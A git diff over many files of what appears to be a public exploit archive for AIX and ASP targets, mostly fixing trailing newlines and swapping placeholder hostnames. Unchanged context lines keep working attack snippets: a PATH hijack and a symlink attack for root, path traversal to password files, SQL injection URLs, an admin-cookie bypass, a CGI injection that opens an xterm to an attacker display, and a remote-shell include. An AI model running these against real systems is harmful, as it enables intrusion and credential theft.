diff --git a/platforms/aix/dos/15264.py b/platforms/aix/dos/15264.py index ee78a8efa..fee87b0b4 100755 --- a/platforms/aix/dos/15264.py +++ b/platforms/aix/dos/15264.py @@ -74,7 +74,7 @@ if len(sys.argv) < 3: print " " - print ' usage: %s http://server/path/ day-mounth-year' % os.path.basename(sys.argv[0]) + print ' usage: %s http://server.com/path/ day-mounth-year' % os.path.basename(sys.argv[0]) print " " @@ -88,7 +88,7 @@ if len(sys.argv) < 3: print "_______________________________________________________________" - sys.exit("\nexample: http://server/ 16-10-2010") + sys.exit("\nexample: http://www.server.com/ 16-10-2010") diff --git a/platforms/aix/dos/19043.txt b/platforms/aix/dos/19043.txt index c9e971481..193683bf2 100755 --- a/platforms/aix/dos/19043.txt +++ b/platforms/aix/dos/19043.txt @@ -13,4 +13,4 @@ $ set PATH=/tmp:$PATH $ export PATH $ /usr/bin/winstall $ /tmp/sh -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/aix/dos/19045.txt b/platforms/aix/dos/19045.txt index 816c8051c..a4c934dd2 100755 --- a/platforms/aix/dos/19045.txt +++ b/platforms/aix/dos/19045.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/59/info /etc/crash was installed setgid kmem and excutable by anyone. Any user can use the ! shell command escape to executes commands, which are then performed with group set to kmem. $ /etc/crash -! sh \ No newline at end of file +! sh \ No newline at end of file diff --git a/platforms/aix/dos/19046.txt b/platforms/aix/dos/19046.txt index ece7403f7..dbc0c3b7a 100755 --- a/platforms/aix/dos/19046.txt +++ b/platforms/aix/dos/19046.txt @@ -12,4 +12,4 @@ HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX [ and it just hangs ] $ ping some.where -[ ...nothing... ] \ No newline at end of file +[ ...nothing... ] \ No newline at end of file diff --git a/platforms/aix/dos/19049.txt b/platforms/aix/dos/19049.txt index 6fcbe7106..8ff9b94ad 100755 --- a/platforms/aix/dos/19049.txt +++ b/platforms/aix/dos/19049.txt @@ -7,4 +7,4 @@ $ nmap -p 1-64000 -i It is also claimed inetd will die if the Windows 95/NT program postscan.exe, made by 7thsphere, is run againts -the host. \ No newline at end of file +the host. \ No newline at end of file diff --git a/platforms/aix/dos/35342.txt b/platforms/aix/dos/35342.txt index 09ad43cd0..8e6af2054 100755 --- a/platforms/aix/dos/35342.txt +++ b/platforms/aix/dos/35342.txt @@ -14,15 +14,15 @@ and no any filter for html code at robots.lib.php. you can inject your html code html inj.: -server/robotstats/admin/robots.php?rub=ajouter&nom=NiCKNAME(orwriteyourindexcode)&actif=1&user_agent=writeanything(orhtmlcode)&ip1=&ip2=&detection=detection_user_agent&descr_fr=&descr_en=&url= +target.com/robotstats/admin/robots.php?rub=ajouter&nom=NiCKNAME(orwriteyourindexcode)&actif=1&user_agent=writeanything(orhtmlcode)&ip1=&ip2=&detection=detection_user_agent&descr_fr=&descr_en=&url= after you go here: -server/robotstats/info-robot.php?robot=(robot id) +target.com/robotstats/info-robot.php?robot=(robot id) or -server/robotstats/admin/robots.php you will see your html page +target.com/robotstats/admin/robots.php you will see your html page analysis: (/admin/robots.php) diff --git a/platforms/aix/local/19229.txt b/platforms/aix/local/19229.txt index 81069e150..cd8470c0e 100755 --- a/platforms/aix/local/19229.txt +++ b/platforms/aix/local/19229.txt @@ -11,4 +11,4 @@ ln -s /etc/passwd /tmp/fwlsuser.$x let x=$x+1 echo $x done -exit \ No newline at end of file +exit \ No newline at end of file diff --git a/platforms/aix/local/19300.txt b/platforms/aix/local/19300.txt index e3580de0b..5aa103fb4 100755 --- a/platforms/aix/local/19300.txt +++ b/platforms/aix/local/19300.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/375/info The snap command is a diagnostic utlitiy for gathering system information on AIX platforms. It can only be executed by root, but it copies various system files into /tmp/ibmsupt/ under /tmp/ibmsupt/general/ you will find the passwd file with cyphertext. The danger here is if a system administrator executes snap -a as sometimes requested by IBM support while diagnosing a problem it defeats password shadowing. /tmp/ibmsupt is created with 755 permissions they may carry out a symlink attack and gain access to the password file. -snap is a shell script which uses cp -p to gather system information. Data from /etc/security is gathered between lines 721 - 727. Seeing that snap uses the /tmp/ibmsupt/general directory someone may create the directory as a normal user (tested on on AIX 4.2.1). The user may then do a touch on /tmp/ibmsupt/general/passwd. Once the passwd file is created do tail -f /tmp/ibmsupt/general/passwd. If in another session someone loggs in as root and ran snap -a - this will cause the contents of the /etc/security/passwd to show up in tail command. \ No newline at end of file +snap is a shell script which uses cp -p to gather system information. Data from /etc/security is gathered between lines 721 - 727. Seeing that snap uses the /tmp/ibmsupt/general directory someone may create the directory as a normal user (tested on on AIX 4.2.1). The user may then do a touch on /tmp/ibmsupt/general/passwd. Once the passwd file is created do tail -f /tmp/ibmsupt/general/passwd. If in another session someone loggs in as root and ran snap -a - this will cause the contents of the /etc/security/passwd to show up in tail command. \ No newline at end of file diff --git a/platforms/aix/local/19344.sh b/platforms/aix/local/19344.sh index cc56498d7..8a3e18524 100755 --- a/platforms/aix/local/19344.sh +++ b/platforms/aix/local/19344.sh @@ -26,4 +26,4 @@ echo "cheezy mail hack" | rmail joeuser@nohost.com unsetenv IFS rm -f usr sh # minor cleanup. echo "Attempting to run sgid shell." -./mailsh \ No newline at end of file +./mailsh \ No newline at end of file diff --git a/platforms/aix/local/19345.txt b/platforms/aix/local/19345.txt index 18f73926f..7c3275495 100755 --- a/platforms/aix/local/19345.txt +++ b/platforms/aix/local/19345.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/455/info There exists a vulnerability in the lquerypv command under AIX. By using the '-h' flaq, a user may read any file on the file system in hex format. -/usr/sbin/lquerypv -h /pathtofilename \ No newline at end of file +/usr/sbin/lquerypv -h /pathtofilename \ No newline at end of file diff --git a/platforms/aix/local/19354.txt b/platforms/aix/local/19354.txt index 3ca96e695..a7bb4213a 100755 --- a/platforms/aix/local/19354.txt +++ b/platforms/aix/local/19354.txt @@ -4,4 +4,4 @@ The sgihelp program, from SGI and included with IRIX 5.1 and 5.2, contains a vul Run PrintStatus Press the 'help' button. -Select the 'print to command' option. This will allow you to execute anything as root. \ No newline at end of file +Select the 'print to command' option. This will allow you to execute anything as root. \ No newline at end of file diff --git a/platforms/aix/local/19418.txt b/platforms/aix/local/19418.txt index fd78d5d29..f280ba1fe 100755 --- a/platforms/aix/local/19418.txt +++ b/platforms/aix/local/19418.txt @@ -7,4 +7,4 @@ gcc -g -o a.out hello-world.c $ adb a.out - adb .main,5:s -a.out: running \ No newline at end of file +a.out: running \ No newline at end of file diff --git a/platforms/aix/local/25039.txt b/platforms/aix/local/25039.txt index e8547373f..a14170df8 100755 --- a/platforms/aix/local/25039.txt +++ b/platforms/aix/local/25039.txt @@ -14,4 +14,4 @@ chmod u+s /tmp/.shh EOF chmod a+x /tmp/aap/bin/Dctrl lsmcode -/tmp/.shh \ No newline at end of file +/tmp/.shh \ No newline at end of file diff --git a/platforms/aix/local/26996.txt b/platforms/aix/local/26996.txt index 04d936212..161bef1f1 100755 --- a/platforms/aix/local/26996.txt +++ b/platforms/aix/local/26996.txt @@ -4,4 +4,4 @@ IBM AIX is prone to a local vulnerability in getShell and getCommand. This issue -bash-3.00$./getCommand.new ../../../../../../etc/security/passwd -bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa -fopen: No such file or directory \ No newline at end of file +fopen: No such file or directory \ No newline at end of file diff --git a/platforms/aix/local/26997.txt b/platforms/aix/local/26997.txt index c1797417b..41376ed2b 100755 --- a/platforms/aix/local/26997.txt +++ b/platforms/aix/local/26997.txt @@ -8,4 +8,4 @@ IBM AIX is prone to a local vulnerability in getShell and getCommand. This vulne ps -ef > /tmp/log. $$ grep test /tmp/log. -$$ rm /tmp/log. $$ \ No newline at end of file +$$ rm /tmp/log. $$ \ No newline at end of file diff --git a/platforms/aix/remote/19047.txt b/platforms/aix/remote/19047.txt index 2c210a87d..3007e846f 100755 --- a/platforms/aix/remote/19047.txt +++ b/platforms/aix/remote/19047.txt @@ -13,4 +13,4 @@ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxx -[dead] \ No newline at end of file +[dead] \ No newline at end of file diff --git a/platforms/aix/remote/19048.txt b/platforms/aix/remote/19048.txt index 939a41ae9..5a7ada91f 100755 --- a/platforms/aix/remote/19048.txt +++ b/platforms/aix/remote/19048.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/64/info There exists a security vulnerability with the CGI program pfdispaly.cgi distributed with IRIX. This problem its not fixed by patch 3018. -$ lynx -dump http://victim/cgi-bin/pfdisplay.cgi?'%0A/usr/bin/X11/xterm%20-display%20evil:0.0|' \ No newline at end of file +$ lynx -dump http://victim/cgi-bin/pfdisplay.cgi?'%0A/usr/bin/X11/xterm%20-display%20evil:0.0|' \ No newline at end of file diff --git a/platforms/aix/remote/19237.txt b/platforms/aix/remote/19237.txt index f9eda09f7..8ce62b7f6 100755 --- a/platforms/aix/remote/19237.txt +++ b/platforms/aix/remote/19237.txt @@ -4,4 +4,4 @@ NTMail v3.X is susceptible to being used as a mail relay for SPAM or other unsol Gordano's own JUCE product (to prevent mail relay attacks and other SPAM activity) will not prevent NTMAIL v.3.x from being used as a mail relay. -Specify <> in the 'Mail From' field. \ No newline at end of file +Specify <> in the 'Mail From' field. \ No newline at end of file diff --git a/platforms/aix/remote/19348.txt b/platforms/aix/remote/19348.txt index ad86c8129..3b4f0cf43 100755 --- a/platforms/aix/remote/19348.txt +++ b/platforms/aix/remote/19348.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/458/info A problem with the way login parses arguments as passed by rlogind that may allow access to the root account. -%rlogin -froot targethost.com \ No newline at end of file +%rlogin -froot targethost.com \ No newline at end of file diff --git a/platforms/aix/webapps/14058.html b/platforms/aix/webapps/14058.html index 3d488e059..7359241c6 100755 --- a/platforms/aix/webapps/14058.html +++ b/platforms/aix/webapps/14058.html @@ -12,7 +12,7 @@ [~] 1.Save code html format -[~] 2.Search server +[~] 2.Search Target.com [~] 3.Edit and replace & Target @@ -26,7 +26,7 @@ [~] 8.Formats can be uploaded (Html.Htm.Jpg.gif.Xml....) -[~] 9.server/images/uploads/File/File Name +[~] 9.Target.com/images/uploads/File/File Name [~]######################################### ExploiT #############################################[~] @@ -62,7 +62,7 @@ Connector:
diff --git a/platforms/android/remote/38586.txt b/platforms/android/remote/38586.txt index 58327ea7b..6a5235e2b 100755 --- a/platforms/android/remote/38586.txt +++ b/platforms/android/remote/38586.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in TaxiMonger 2.6.2 and 2.3.3 are vulnerable; other versions may also be affected. - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/asp/dos/12527.txt b/platforms/asp/dos/12527.txt index 683fd0529..3b1d4e7bc 100755 --- a/platforms/asp/dos/12527.txt +++ b/platforms/asp/dos/12527.txt @@ -46,4 +46,4 @@ ************************************************************ -************************************************************ \ No newline at end of file +************************************************************ \ No newline at end of file diff --git a/platforms/asp/dos/25962.xml b/platforms/asp/dos/25962.xml index db1366944..b28741bfb 100755 --- a/platforms/asp/dos/25962.xml +++ b/platforms/asp/dos/25962.xml @@ -23,4 +23,4 @@ soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 0 - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/asp/dos/35154.txt b/platforms/asp/dos/35154.txt index d579dad4a..c1a1cd77b 100755 --- a/platforms/asp/dos/35154.txt +++ b/platforms/asp/dos/35154.txt @@ -4,4 +4,4 @@ Sigma Portal is prone to a denial-of-service vulnerability. Attackers can exploit this issue to cause the server to consume excessive resources, denying service to legitimate users. -http://www.example.com/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID) \ No newline at end of file +http://www.example.com/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID) \ No newline at end of file diff --git a/platforms/asp/webapps/1010.pl b/platforms/asp/webapps/1010.pl index 221eaf279..7c4b2f3ee 100755 --- a/platforms/asp/webapps/1010.pl +++ b/platforms/asp/webapps/1010.pl @@ -30,7 +30,7 @@ if (@ARGV < 2) print " 2 ==> Version 1.36, 2.0 and Next\n"; print "==========================================\n\n"; print "Example:\n\n"; - print " Max.pl www.server 1\n"; + print " Max.pl www.Site.com 1\n"; exit(); } $hell = "foo' or M_Name='admin"; diff --git a/platforms/asp/webapps/1011.php b/platforms/asp/webapps/1011.php index ab8d790d0..807294640 100755 --- a/platforms/asp/webapps/1011.php +++ b/platforms/asp/webapps/1011.php @@ -7,7 +7,7 @@ Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam ----------------Discovered by: s d ------------------------------------------ */ # Config ________________________________ -# address - example: http://www.server/password.asp +# address - example: http://www.site.com/password.asp $url = "http://www.mohamad.com/password.asp"; $mh = "s1"; # if webmaxportal version is : Version 1.35 and older please input $mh= "s1" diff --git a/platforms/asp/webapps/10167.txt b/platforms/asp/webapps/10167.txt index 2dbc332d2..b4224cc62 100755 --- a/platforms/asp/webapps/10167.txt +++ b/platforms/asp/webapps/10167.txt @@ -23,4 +23,4 @@ http://server/default.asp?catid=39+UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,1 Greetz : WwW.IQ-ty.CoM -| CraCkEr | Cyber-Zone | str0ke | jiko \ No newline at end of file +| CraCkEr | Cyber-Zone | str0ke | jiko \ No newline at end of file diff --git a/platforms/asp/webapps/10470.txt b/platforms/asp/webapps/10470.txt index 6254275a2..35573a4ad 100755 --- a/platforms/asp/webapps/10470.txt +++ b/platforms/asp/webapps/10470.txt @@ -1,4 +1,4 @@ -_ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ__ _ ___ ___ + _ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ__ _ ___ ___ /_/Rd_ _ / _ _\/ _ _ / \ \< |/_ _ / /\ | \ /\ || \( ) /\ | \ (| | \_ _ _ _/ /_ _ / / __ | () / | | / / [d0t]com/@~\ | (O) / /+~\ ||_O_|( ) /0O\ | \ | | _ _ _ _\ \_ _ \ \ _ _ _ | \ | | / /_ _ /|__|\ | \ /|__|\|| O |( ) /+__+\| ^ \ | | diff --git a/platforms/asp/webapps/10501.txt b/platforms/asp/webapps/10501.txt index 3ef7d57af..f42faa99f 100755 --- a/platforms/asp/webapps/10501.txt +++ b/platforms/asp/webapps/10501.txt @@ -15,7 +15,7 @@ [*] Err0r C0N50L3: -[*] server/player.asp?player_id={EV!L BL!ND INJ} +[*] www.target.com/player.asp?player_id={EV!L BL!ND INJ} [*] EV!L BL!ND diff --git a/platforms/asp/webapps/10503.txt b/platforms/asp/webapps/10503.txt index feda70376..ecfe46ce4 100755 --- a/platforms/asp/webapps/10503.txt +++ b/platforms/asp/webapps/10503.txt @@ -15,7 +15,7 @@ [*] Err0r C0N50L3: -[*] server/[path]/admin/edit.asp?ID={EV!L blind sql} +[*] www.target.com/[path]/admin/edit.asp?ID={EV!L blind sql} [*] EV!L BL!ND sql diff --git a/platforms/asp/webapps/10504.txt b/platforms/asp/webapps/10504.txt index 19dd2d409..ea2f9d48f 100755 --- a/platforms/asp/webapps/10504.txt +++ b/platforms/asp/webapps/10504.txt @@ -15,7 +15,7 @@ [*] Err0r C0N50L3: -[*] server/[path]/campaignEdit.asp?CCam={EV!L blind sql} +[*] www.target.com/[path]/campaignEdit.asp?CCam={EV!L blind sql} [*] EV!L BL!ND sql diff --git a/platforms/asp/webapps/10576.txt b/platforms/asp/webapps/10576.txt index 5bb3327b1..f17ea3460 100755 --- a/platforms/asp/webapps/10576.txt +++ b/platforms/asp/webapps/10576.txt @@ -67,4 +67,4 @@ Thanks You: eXceptioN,CodeInside,CorDoN,Hack3ra,Rex aL0ne,By_HKC -########################################################################### \ No newline at end of file +########################################################################### \ No newline at end of file diff --git a/platforms/asp/webapps/1070.pl b/platforms/asp/webapps/1070.pl index 4701def2d..b33dbb7d8 100755 --- a/platforms/asp/webapps/1070.pl +++ b/platforms/asp/webapps/1070.pl @@ -24,7 +24,7 @@ if (@ARGV < 1) print " Usage:ASPNuke.pl \n\n"; print "==========================================\n\n"; print "Examples:\n\n"; - print " ASPNuke.pl www.server \n"; + print " ASPNuke.pl www.Site.com \n"; exit(); } diff --git a/platforms/asp/webapps/10795.txt b/platforms/asp/webapps/10795.txt index 43f007546..fa800e6d1 100755 --- a/platforms/asp/webapps/10795.txt +++ b/platforms/asp/webapps/10795.txt @@ -1,4 +1,4 @@ -##################################################### + ##################################################### # [+] Author : RENO # # [+] Email : R7e@HoTMaiL.coM # # [+] Site : www.vxx9.cc # diff --git a/platforms/asp/webapps/10796.txt b/platforms/asp/webapps/10796.txt index 0fee87e80..01dda9d94 100755 --- a/platforms/asp/webapps/10796.txt +++ b/platforms/asp/webapps/10796.txt @@ -1,4 +1,4 @@ -##################################################### + ##################################################### # [+] Author : RENO # # [+] Email : R7e@HoTMaiL.coM # # [+] Site : www.vxx9.cc # diff --git a/platforms/asp/webapps/10955.txt b/platforms/asp/webapps/10955.txt index 367c1eb09..49e288a15 100755 --- a/platforms/asp/webapps/10955.txt +++ b/platforms/asp/webapps/10955.txt @@ -26,7 +26,7 @@ [ª]dem0: -http://www.server/?page=details&newsID=1905+union+select+1,pword,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+users +http://www.site.com/?page=details&newsID=1905+union+select+1,pword,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+users Admin:[Path]/admin/login.asp diff --git a/platforms/asp/webapps/11212.txt b/platforms/asp/webapps/11212.txt index 94fdfb22f..c7dc51b94 100755 --- a/platforms/asp/webapps/11212.txt +++ b/platforms/asp/webapps/11212.txt @@ -8,5 +8,5 @@ # Risk: Medium ################################################################# # Vulnerability: -# http://server/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./.. +# http://site.com/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./.. ################################################################# diff --git a/platforms/asp/webapps/11295.txt b/platforms/asp/webapps/11295.txt index e4d8ef871..1e0d0f617 100755 --- a/platforms/asp/webapps/11295.txt +++ b/platforms/asp/webapps/11295.txt @@ -8,7 +8,7 @@ Vulnerability: ======================= Arbitrary File Upload ======================= -
+



 

@@ -18,19 +18,19 @@ Arbitrary File Upload ======================= Arbitrary File Upload 2 ======================= -http://server/admin/ewebeditor/ewebeditor.htm?id=body&style=popup +http://site.com/admin/ewebeditor/ewebeditor.htm?id=body&style=popup ======================= Database Disclosure ======================= -http://server/ewebeditor/db/ewebeditor.mdb +http://site.com/ewebeditor/db/ewebeditor.mdb ======================= Administrator bypass ======================= -http://server/eWebEditor/admin/login.asp +http://site.com/eWebEditor/admin/login.asp put this code instead URL javascript: alert (document.cookie = "adminpass =" + escape ( "admin")); @@ -39,11 +39,11 @@ javascript: alert (document.cookie = "adminpass =" + escape ( "admin")); ======================= Directory Traversal ======================= -http://server/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=./.. +http://site.com/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=./.. ======================= Directory Traversal 2 ======================= -http://server/ewebeditor/asp/browse.asp?style=standard650&dir=./.. +http://site.com/ewebeditor/asp/browse.asp?style=standard650&dir=./.. diff --git a/platforms/asp/webapps/11348.txt b/platforms/asp/webapps/11348.txt index 24510328f..be1999125 100755 --- a/platforms/asp/webapps/11348.txt +++ b/platforms/asp/webapps/11348.txt @@ -1,4 +1,4 @@ -####################################################################### + ####################################################################### # # ### DA Mailing List System V2 Remote Admin Login Exploit ### # # diff --git a/platforms/asp/webapps/12329.txt b/platforms/asp/webapps/12329.txt index d5cb6470b..d1737b357 100755 --- a/platforms/asp/webapps/12329.txt +++ b/platforms/asp/webapps/12329.txt @@ -70,4 +70,4 @@ CoreLabs, the research center of Core Security Technologies, is charged with ant Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. 12. Disclaimer -The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. \ No newline at end of file +The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. \ No newline at end of file diff --git a/platforms/asp/webapps/12526.txt b/platforms/asp/webapps/12526.txt index aeef3c195..b503415b2 100755 --- a/platforms/asp/webapps/12526.txt +++ b/platforms/asp/webapps/12526.txt @@ -29,4 +29,4 @@ *"""""""""""""""""""" ** Greetz to : ALLAH ** All Members of http://www.DZ4All.cOm/Cc -** And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & n2n & ..... \ No newline at end of file +** And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & n2n & ..... \ No newline at end of file diff --git a/platforms/asp/webapps/12571.txt b/platforms/asp/webapps/12571.txt index ba4ddd83e..6cfe03a10 100755 --- a/platforms/asp/webapps/12571.txt +++ b/platforms/asp/webapps/12571.txt @@ -36,4 +36,4 @@ Dağları deviriverdin üstüme hiç çekinmedin Ben bu şehirde bir daha da sabah görmedim Günaydınlar olmadı günler aymadı sensiz ........ -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/asp/webapps/13788.txt b/platforms/asp/webapps/13788.txt index d7a883422..99bbe4dbe 100755 --- a/platforms/asp/webapps/13788.txt +++ b/platforms/asp/webapps/13788.txt @@ -1,4 +1,4 @@ -========================================= + ========================================= Web Wiz Forums 9.68 SQLi Vulnerability ========================================= @@ -22,9 +22,9 @@ Xploit: SQLi Vulnerability DEMO URL: - http://server/new_reply_form.asp?TID=[SQLi] + http://site.com/new_reply_form.asp?TID=[SQLi] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/asp/webapps/13789.txt b/platforms/asp/webapps/13789.txt index 1d0e336c4..ca8a6b391 100755 --- a/platforms/asp/webapps/13789.txt +++ b/platforms/asp/webapps/13789.txt @@ -1,4 +1,4 @@ -====================================================== + ====================================================== Virtual Real Estate Manager V 3.5 SQLi Vulnerability ====================================================== @@ -27,4 +27,4 @@ DEMO URL: ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/asp/webapps/13790.txt b/platforms/asp/webapps/13790.txt index 689cdc729..7680368ee 100755 --- a/platforms/asp/webapps/13790.txt +++ b/platforms/asp/webapps/13790.txt @@ -22,9 +22,9 @@ Xploit: SQLi Vulnerability DEMO URL: - http://server/reallusiontv/ic/productdemo.asp?page=[SQLi] + http://site.com/reallusiontv/ic/productdemo.asp?page=[SQLi] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/asp/webapps/13793.txt b/platforms/asp/webapps/13793.txt index cd524e217..c9fea41f6 100755 --- a/platforms/asp/webapps/13793.txt +++ b/platforms/asp/webapps/13793.txt @@ -42,7 +42,7 @@ Admin Control: Usename:admin Password:admin -DEMO URL :http://server/onlinenotebookmanager.asp?ItemID=[SQLi] +DEMO URL :http://site.com/onlinenotebookmanager.asp?ItemID=[SQLi] ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- diff --git a/platforms/asp/webapps/13880.txt b/platforms/asp/webapps/13880.txt index 211933b8b..051340687 100755 --- a/platforms/asp/webapps/13880.txt +++ b/platforms/asp/webapps/13880.txt @@ -18,7 +18,7 @@ 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=1 Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title:Smart ASP Survey SQL & XSS Vulnerable -Vendor url:http://www.sellatserver +Vendor url:http://www.sellatsite.com Version:n/a Published: 2010-06-15 Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to diff --git a/platforms/asp/webapps/13882.txt b/platforms/asp/webapps/13882.txt index ce5301b52..a815888aa 100755 --- a/platforms/asp/webapps/13882.txt +++ b/platforms/asp/webapps/13882.txt @@ -19,7 +19,7 @@ Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title:SAS Hotel Management System SQL Vulnerable -Vendor url:http://www.sellatserver +Vendor url:http://www.sellatsite.com Version:n/a Price:28$ Published: 2010-06-15 diff --git a/platforms/asp/webapps/13891.html b/platforms/asp/webapps/13891.html index a1dd8738c..c4aafbca6 100755 --- a/platforms/asp/webapps/13891.html +++ b/platforms/asp/webapps/13891.html @@ -32,4 +32,4 @@ Sex Crew : IMHATIMI.ORG ~ MecTruy ~ Dr.Ly0n ~ Noxy ~ FreWaL -################################################################################## \ No newline at end of file +################################################################################## \ No newline at end of file diff --git a/platforms/asp/webapps/14030.pl b/platforms/asp/webapps/14030.pl index afe209a9f..079ea595d 100755 --- a/platforms/asp/webapps/14030.pl +++ b/platforms/asp/webapps/14030.pl @@ -17,9 +17,9 @@ --- -http://www.server/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell] -http://www.server/sablonlar/gunaysoft/gunaysoft.php?sayfaid=[shell] -http://www.server/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell] +http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell] +http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?sayfaid=[shell] +http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell] --- @@ -100,7 +100,7 @@ print q Usage: perl phportal.pl <-r> <-p> - Path to target eg: www.victim.com - - Path to shell eg: http://server/r57.txt? + - Path to shell eg: http://site.com/r57.txt? - Shell command variable name eg: Pwd - Show output from shell

- sablonlar/gunaysoft/gunaysoft.php diff --git a/platforms/asp/webapps/1419.pl b/platforms/asp/webapps/1419.pl index f674835bb..1d8236afb 100755 --- a/platforms/asp/webapps/1419.pl +++ b/platforms/asp/webapps/1419.pl @@ -12,7 +12,7 @@ if (@ARGV < 3) print q( +++++++++++++++++++++++++++++++++++++++++++++++++++ Usage: perl mini-nuke.pl [site] [dir] [useId] [proxy (optional)] - i.e. perl mini-nuke.pl "someserver" / 52 127.0.0.1:3128 + i.e. perl mini-nuke.pl "somesite.com" / 52 127.0.0.1:3128 ++++++++++++++++++++++++++++++++++++++++++++++++++++ ); exit; diff --git a/platforms/asp/webapps/14192.txt b/platforms/asp/webapps/14192.txt index 660c3c5b6..923127988 100755 --- a/platforms/asp/webapps/14192.txt +++ b/platforms/asp/webapps/14192.txt @@ -18,4 +18,4 @@ http://server/main.asp?id=5945&grp=[SQL Injection] [~]######################################### FinisH :D #############################################[~] - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/asp/webapps/14284.txt b/platforms/asp/webapps/14284.txt index 2169d0cf1..27f809919 100755 --- a/platforms/asp/webapps/14284.txt +++ b/platforms/asp/webapps/14284.txt @@ -27,11 +27,11 @@ i-Gallery is a complete online photo gallery. Easy to navigate thumbnails with p ####################################################################################################### Xploit :Arbitrary File Include Vulnerabilty -DEMO URL http://www.server/igallery34/viewphoto.asp?i=[file include]&f=fghd&sh=27768&sw=1024 +DEMO URL http://www.site.com/igallery34/viewphoto.asp?i=[file include]&f=fghd&sh=27768&sw=1024 Xploit :Persistent XSS Vulnerabilty -DEMO URL http://www.server/igallery34/submitphotos.asp?mi=1 +DEMO URL http://www.site.com/igallery34/submitphotos.asp?mi=1 diff --git a/platforms/asp/webapps/14419.txt b/platforms/asp/webapps/14419.txt index 5352c226e..3e5e089d5 100755 --- a/platforms/asp/webapps/14419.txt +++ b/platforms/asp/webapps/14419.txt @@ -11,11 +11,11 @@ Dork : inurl:hikaye.asp?id= =================================================== -[+] Vulnerable File : http://www.server/hikaye.asp?id=123 +[+] Vulnerable File : http://www.site.com/hikaye.asp?id=123 =================================================== -[+] Demo : http://www.server/hikaye.asp?id=17'a +[+] Demo : http://www.site.com/hikaye.asp?id=17'a =================================================== diff --git a/platforms/asp/webapps/14420.txt b/platforms/asp/webapps/14420.txt index e44c25a86..a0e79324c 100755 --- a/platforms/asp/webapps/14420.txt +++ b/platforms/asp/webapps/14420.txt @@ -11,11 +11,11 @@ Dork : inurl:makaledetay.asp?id= =================================================== -[+] Vulnerable File : http://www.server/makaledetay.asp?id=123 +[+] Vulnerable File : http://www.site.com/makaledetay.asp?id=123 =================================================== -[+] Demo : http://www.server/makaledetay.asp?id=15%27a +[+] Demo : http://www.site.com/makaledetay.asp?id=15%27a =================================================== diff --git a/platforms/asp/webapps/14461.txt 